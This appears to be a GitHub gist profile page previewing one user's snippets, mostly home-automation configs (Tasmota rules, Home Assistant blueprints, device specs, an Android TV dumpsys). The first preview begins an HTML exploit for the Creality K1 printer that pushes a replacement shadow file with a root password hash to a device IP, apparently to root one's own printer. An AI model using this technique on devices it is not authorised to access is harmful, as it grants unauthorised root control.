Skip to content

Instantly share code, notes, and snippets.

View blakadder's full-sized avatar

blakadder blakadder

View GitHub Profile
@blakadder
blakadder / k3d_k1_exploit.html
Created June 5, 2023 21:29
Creality K1 exploit method A (thanks to https://www.youtube.com/c/SorkinDmitry)
<html>
<head>
<title>K1 exploit for K3D Chat</title>
<script>
const patchedShadowStr = "root:$5$/iMbCgHty3$rM7UZICj9tmUe13BcAOUgVvpa.sSMV4k/t2Yes64ZZ9:::::::\ndaemon:*:::::::\nbin:*:::::::\nsys:*:::::::\nsync:*:::::::\nmail:*:::::::\nwww-data:*:::::::\noperator:*:::::::\nnobody:*:::::::\ndbus:*:::::::\n"
const patchedShadowBlob = new Blob([patchedShadowStr], { type: "text/plain" })
function sendPayload(payload,needAlert = true) {
var ip = document.getElementsByName("ip")[0].value
@blakadder
blakadder / dumpsys_activity_starter
Created September 22, 2021 19:41
Android TV 11 dumpsys Kodi playing
ACTIVITY MANAGER STARTER (dumpsys activity starter)
mLastHomeActivityStartResult=2
mLastHomeActivityStartRecord:
packageName=com.google.android.tvlauncher processName=com.google.android.tvlauncher
launchedFromUid=0 launchedFromPackage=null launchedFromFeature=null userId=0
app=ProcessRecord{9b80ae5 1772:com.google.android.tvlauncher/u0a27}
Intent { act=android.intent.action.MAIN cat=[android.intent.category.HOME] flg=0x10800100 cmp=com.google.android.tvlauncher/.MainActivity }
rootOfTask=true task=Task{801a13e #466 visible=false type=home mode=fullscreen translucent=true A=10027:.TvLauncher U=0 StackId=1 sz=1}
taskAffinity=10027:.TvLauncher
mActivityComponent=com.google.android.tvlauncher/.MainActivity
{
"type":"urn:miot-spec-v2:device:heater:0000A01A:zhimi-na1:1",
"description":"Heater",
"services":[
{
"iid":1,
"type":"urn:miot-spec-v2:service:device-information:00007801:zhimi-na1:1",
"description":"Device Information",
"properties":[
{
{
"node_descriptor": "NodeDescriptor(byte1=2, byte2=0, mac_capability_flags=0, manufacturer_code=0, maximum_buffer_size=0, maximum_incoming_transfer_size=0, server_mask=0, maximum_outgoing_transfer_size=0, descriptor_capability_field=0, *allocate_address=False, *complex_descriptor_available=False, *is_alternate_pan_coordinator=False, *is_coordinator=False, *is_end_device=True, *is_full_function_device=False, *is_mains_powered=False, *is_receiver_on_when_idle=False, *is_router=False, *is_security_capable=False, *is_valid=True, *logical_type=<LogicalType.EndDevice: 2>, *user_descriptor_available=False)",
"endpoints": {
"1": {
"profile_id": 49353,
"device_type": "0x0001",
"in_clusters": [
"0x0002",
"0x0003",
"0x0005"
name: '%topic% Heater'
power_command_topic: "cmnd/%topic%/power1"
mode_state_topic: "tele/%topic%/STATE"
mode_state_template: "{%set m=value_json.POWER1%}{%if m=='OFF'%}off{%elif m=='ON'%}heat{%else%}Unknown{%endif%}"
modes:
- heat
- off
fan_mode_command_topic: "cmnd/%topic%/event"
fan_mode_state_topic: "%topic%/mode"
fan_modes:
@blakadder
blakadder / gist:c6a17e5b5cc7c8cd45b396af86c69b3e
Last active January 25, 2021 20:31
hasp-lvgl create page0 from jaffa sunrise
blueprint:
name: HASP Create Default Page
description: Create Jaffa Sunrise HASP pages
domain: automation
input:
plate:
name: HASP Plate Entity
description: Select an existing HASP plate
selector:
entity:
blueprint:
name: HASP Toggle Object
description: Link a HASP toggle object with an on/off entity
domain: automation
input:
target_entity:
name: Entity controlled by the button
description: Select an entity to bind with a pxbx toggle object.
selector:
@blakadder
blakadder / gist:4569e16fd9cec36d0bc2a8dac6439d42
Created October 30, 2019 20:38
Tasmota web UI default colors for <v7
backlog webcolor1 #000; webcolor2 #fff; webcolor3 #f2f2f2; webcolor4 #000; webcolor5 #fff; webcolor6 #000; webcolor7 #fff
@blakadder
blakadder / gist:2d112b50edd8f75f2d7fb0dddd9310c4
Created October 27, 2019 00:41
GD-30W Tasmota commands
Backlog SetOption66 1; TuyaMCU 21,111; TuyaMCU 11,1; TuyaMCU 12,11; TuyaMCU 13,103; TuyaMCU 14,12; TuyaMCU 15,110; DimmerRange 1,255; SetOption59 1
Rule1 on TuyaReceived#data=55AA000700056E040001007E do publish2 stat/GD-30W/EFFECT rgb_cycle endon on TuyaReceived#data=55AA000700056E040001017F do publish2 stat/GD-30W/EFFECT color endon on event#rgb_cycle do tuyasend4 110,0 endon on event#color do tuyasend4 110,1 endon on event#ON do backlog tuyasend4 110,1; tuyasend 11,1 endon on event#off do tuyasend1 11,0 endon on power3#state=1 do tuyasend4 103,1 endon on power3#state=0 do tuyasend4 103,0 endon
Rule1 1
Rule3 on TuyaReceived#data=55AA000700050D040001011E do tuyasend4 13,0 endon on TuyaReceived#data=55AA000700050D040001021F do tuyasend4 13,0 endon on mqtt#connected do serialsend5 55aa0001000000 endon
Rule3 1
@blakadder
blakadder / gist:581d7964d93cd3fe85c8f1ee393b9f8d
Last active October 27, 2019 21:16
GD-30W configuration.yaml entry
fan:
- platform: mqtt
name: "Diffuser"
availability_topic: "tele/GD-30W/LWT"
payload_available: "Online"
payload_not_available: "Offline"
state_topic: "tele/GD-30W/STATE"
state_value_template: "{{ value_json.POWER1 }}"
command_topic: "cmnd/GD-30W/POWER1"
payload_on: "ON"